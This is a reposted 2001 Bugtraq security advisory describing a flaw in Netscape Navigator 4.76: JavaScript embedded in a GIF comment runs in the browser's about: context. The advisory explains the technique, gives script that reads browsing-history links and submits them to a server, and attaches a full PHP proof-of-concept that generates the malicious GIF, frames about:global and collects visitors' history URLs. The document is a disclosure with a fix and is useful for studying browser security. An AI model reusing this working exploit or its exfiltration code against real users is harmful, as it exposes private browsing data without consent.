Bugtraq: Netscape Navigator/Communicator 4.76 gif comment flaw (on Linux and Win98/NT) | Linux Today

Bugtraq: Netscape Navigator/Communicator 4.76 gif comment flaw (on Linux and Win98/NT)

Written By
Web Webster
Web Webster
Apr 10, 2001
Date:         Mon, 9 Apr 2001 13:48:26 +0200
From: Florian Wesch <fw@DIVIDUUM.DE>
Subject:      Netscape 4.76 gif comment flaw

Product: Netscape Navigator/Communicator
Tested on: 4.76 (on Linux and Win98/NT)
Vendor Contact: Reported 2001-03-22

{ Problem }--------------------------------------------------------

- Overview:
    The Netscape browser does not escape the gif file comment in the
    image information page. This allows javascript execution in the
    "about:" protocol and can for example be used to upload the
    History (about:global) to a webserver.

- Detail:
    Netscape does not allow javascript to access documents from
    a different domain. This stops a javascript from one domain
    that tries to mess around with login forms/private data from other
    domain. The following error message is shown

    "access disallowed from scripts at <javascriptdomain> to documents
    at another domain."

    Now there is the protocol "about:" that is used
    for some special tasks.

    about:          - shows Netscape version and copyrights
    about:blank     - shows a blank document
    about:config    - shows Browser configuration.
    about:global    - shows Information about the Netscape global history
    about:<url>     - shows Information about the specified url
    ..
    There are some other about: documents (try grepping the netscape binary).

    about:global is very interesting since all visited documents are
    listed there. So I tried to find a way to access this information.

    I created a frameset with 2 frames. The first Frame (called foo)
    contains about:global. Using <frame src="about:global">,
    <meta http-equiv="refresh" content="10; URL=about:global"> or
    document.location.href="about.global"; for setting this url did not
    work. So I used the following trick to make it work:

        <base href="about:">
        <form action="global" name="loadhistory">
            <input type="submit">
        </form>
        <script language="javascript">
            document.loadhistory.submit();
        </script>

    My intention is that the second frame (called bar) grabs 10 urls
    in the first frame using javascript and sends them to the server.

    Accessing parent.frames["foo"].document.links does not work since
    foo is displaying an about: document and bar is a normal http document:
    "access disallowed from scripts at blah to documents..."

    So I tried to find a way to start a javascript within an
    about: document. about:<someurl> comes into mind since there are
    a lot server specified values.

    First I tried to inject javascript using the url of the script.
    But since this url is encoded (space => %20 etc.) there is no way
    in. Modifying the Content-Type (File MIME Type) did not work
    either because Netscape opens a "Save as..." window when
    supplying an unknown mimetype.

    Then I remembered that Netscape shows the comment included in
    gif files. A quick test showed that the comment is not escaped.
    So Javascript in gif comments is executed in the about: realm.
    This means that this script can then access the content of
    about:global. nice.

    The following script included in the comment reads 10 urls in
    the about:global frame (foo), stores them in the form and finally
    submits this form.

    <form action=http://bla/ns476history.php target=_parent name=s method=get>
    <input name=u>
    </form>
    <script>
        f=parent.frames["foo"].document;
        l="";
        for(i=0;i<10;i++)
            l+=f.links[i]+"|";
        document.s.u.value=l;
        document.s.submit();
    </script>

    The server has 10 urls of about:global urls now.

    Accessing about:config should be possible too, but
    I did not try it.

{ Solution }--------------------------------------------------------

    Disable Javascript

    or

    Upgrade to 4.77

{ Exploit }---------------------------------------------------------

    attached

    or

    http://dividuum.de/security/netscape/

--------------------------------------------------------------------

Regards,
Florian Wesch <fw@dividuum.de>
http://dividuum.de

/*
Netscape 4.76 gif comment flaw

Florian Wesch <fw@dividuum.de>
http://dividuum.de
*/

$self="http://".$SERVER_NAME.(($SERVER_PORT==80)?"":":$SERVER_PORT").$PHP_SELF;
if (strlen($self)>64) {
    echo "Url of $self is too long. 64 maximum.<br>";
    echo "You can change this but I think 64 should be enough for anybody ;-)";
    exit;
}

if (!isset($mode)) $mode="intro";

// If urllist is submitted
if (isset($u)) $mode="showhist";

switch ($mode) {
    case "intro":
        ?>
        <html>
            <body>
                <a href="<? echo $self; ?>?mode=frameset">Submit 10 urls of your history</a><br>
            </body>
        </html>
        <?
        break;
    case "frameset":
        ?>
        <html>
            <frameset rows="50%,50%" border=0 frameborder=0 framespacing=0>
                <frame src="<? echo $self; ?>?mode=loadhistory" name="foo" scrolling=no>
                <frame src="<? echo $self; ?>?mode=showimageinfo" name="bar" scrolling=no>
            </frameset>
        </html>
        <?
        break;
    case "loadhistory":
        // replaces the current document with about:global using javascript
        ?>
        <html>
            <base href="about:">
            <form action="global" name="loadhistory">
                <input type="submit">
            </form>
            <script language="javascript">
                document.loadhistory.submit();
            </script>
        </html>
        <?
        break;
    case "showimageinfo":
        ?>
        <html>
            <head>
                <meta http-equiv="refresh" content="5; URL=about:<? echo $self; ?>?mode=evilgif">
            </head>
            <body>
                Waiting 5 seconds...<br>
                <img src="<? echo $self; ?>?mode=evilgif">
            </body>
        </html>
        <?
        break;
    case "evilgif":
        // Gifs are supposed to be compressed. The program I
        // used sucks :-)
        header("Content-type: image/gif");
        $gif ="4749463839610a000a00f70000ffffffffffccffff";
        $gif.="99ffff66ffff33ffff00ffccffffccccffcc99ffcc6";
        $gif.="6ffcc33ffcc00ff99ffff99ccff9999ff9966ff9933";
        $gif.="ff9900ff66ffff66ccff6699ff6666ff6633ff6600f";
        $gif.="f33ffff33ccff3399ff3366ff3333ff3300ff00ffff";
        $gif.="00ccff0099ff0066ff0033ff0000fffffffffffffff";
        $gif.="fffffffffffffffffffffffffffffffffffffffffff";
        $gif.="fffffffffffffffffffffffffffffffffffffffffff";
        $gif.="fffffffffffffffffffffffffffffffffffffffffff";
        $gif.="ffffffffffffffffffffffff0000000000000000000";
        $gif.="0000000000000000000000000000000000000000000";
        $gif.="0000000000000000000000000000000000000000000";
        $gif.="0000000000000000000000000000000000000000000";
        $gif.="0000000000000000000000000000000000000000000";
        $gif.="0000000000000000000000000000000000000000000";
        $gif.="0000000000000000000000000000000000000000000";
        $gif.="0000000000000000000000000000000000000000000";
        $gif.="0000000000000000000000000000000000000000000";
        $gif.="0000000000000000000000000000000000000000000";
        $gif.="0000000000000000000000000000000000000000000";
        $gif.="0000000000000000000000000000000000000000000";
        $gif.="0000000000000000000000000000000000000000000";
        $gif.="0000000000000000000000000000000000000000000";
        $gif.="0000000000000000000000000000000000000000000";
        $gif.="0000000000000000000000000000000000000000000";
        $gif.="0000000000000000000000000000000000000000000";
        $gif.="0000000000000000000000000000000000000000000";
        $gif.="0000000000000000000000000000000000000000000";
        $gif.="0000000000000000000000000000000000000000000";
        $gif.="0000000000000000000000000000000000000000000";
        $gif.="0000000000000000000000000000000000000000000";
        $gif.="0000000000000000000000000000000000000000000";
        $gif.="0000000000000000000000000000000000000000000";
        $gif.="0000000000000000000000000000000000000000000";
        $gif.="0000000000000000000000000000000000000000000";
        $gif.="0000000000000000000000000000000000000000000";
        $gif.="00000000000000021feff";
        $gif.=bin2hex(sprintf("%77s%s",

      /*"<form action=".$self,' target=_parent name=s method=get >'.*/
      /* I'm using POST so the submitted urls do not appear in the logfile */
        "<form action=".$self,' target=_parent name=s method=post>'.
            '<input name=u>'.
        '</form>'.
        '<script>'.
            'f=parent.frames["foo"].document;'.
            'l="";'.
          /*'for(i=0;i<f.links.length;i++)'.*/
            'for(i=0;i<10            ;i++)'.
                'l+=f.links[i]+"|";'.
            'document.s.u.value=l;'.
            'document.'.chr(255).'s.submit();'.
        '</script>'));

        $gif.=              "00000000000000000000000000000";
        $gif.="0000000000000000000000000000000000000000000";
        $gif.="0000000000000000000000000000000000000000000";
        $gif.="0000000000000000000000000000000000000000000";
        $gif.="0000000000000000000000000000000000000000000";
        $gif.="0000000000000000000000000000000000000000000";
        $gif.="0000000000000000000000000000000000000000000";
        $gif.="0000000000000000000000000000000000000000000";
        $gif.="0000000000000000000000000000000000000000000";
        $gif.="0000000000000000000000000000000000000000000";
        $gif.="0000000000000000000000000000000000000000000";
        $gif.="00000000000002c000000000a000a00000813004708";
        $gif.="1c48b0a0c18308132a5cc8b061c28000003b";
        echo pack("H".strlen($gif), $gif);
        break;
    case "showhist":
        $urls=explode("|",$u);
        echo "<h1>Top 10 urls in about:global</h1>";
        foreach ($urls as $url) {
            echo "<a href=$url>$url</a><br>";
        }
    };
?>

--FL5UXtIhxfXey3p5--


Web Webster

Web Webster

Web Webster has more than 20 years of writing and editorial experience in the tech sector. He’s written and edited news, demand generation, user-focused, and thought leadership content for business software solutions, consumer tech, and Linux Today, he edits and writes for a portfolio of tech industry news and analysis websites including webopedia.com, and DatabaseJournal.com.

Linux Today Logo

LinuxToday is a trusted, contributor-driven news resource supporting all types of Linux users. Our thriving international community engages with us through social media and frequent content contributions aimed at solving problems ranging from personal computing to enterprise-level IT operations. LinuxToday serves as a home for a community that struggles to find comparable information elsewhere on the web.

Property of TechnologyAdvice. © 2026 TechnologyAdvice. All Rights Reserved

Advertiser Disclosure: Some of the products that appear on this site are from companies from which TechnologyAdvice receives compensation. This compensation may impact how and where products appear on this site including, for example, the order in which they appear. TechnologyAdvice does not include all companies or all types of products available in the marketplace.